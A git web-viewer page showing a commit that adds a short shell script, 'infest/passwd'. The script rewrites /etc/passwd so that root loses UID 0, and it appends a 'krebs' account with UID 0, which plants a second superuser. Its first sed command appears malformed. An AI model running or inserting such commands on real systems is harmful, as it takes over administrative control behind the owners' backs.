summaryrefslogtreecommitdiffstats
path: root/infest/passwd
diff options
context:
space:
mode:
Diffstat (limited to 'infest/passwd')
-rwxr-xr-xinfest/passwd9
1 files changed, 9 insertions, 0 deletions
diff --git a/infest/passwd b/infest/passwd
new file mode 100755
index 00000000..00a079ba
--- /dev/null
+++ b/infest/passwd
@@ -0,0 +1,9 @@
+#! /bin/sh
+
+f=/etc/passwd
+
+sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f
+sed -ri '/^krebs/d' $f
+
+echo 'krebs:x:0:0::/root:/bin/bash' >>$f
+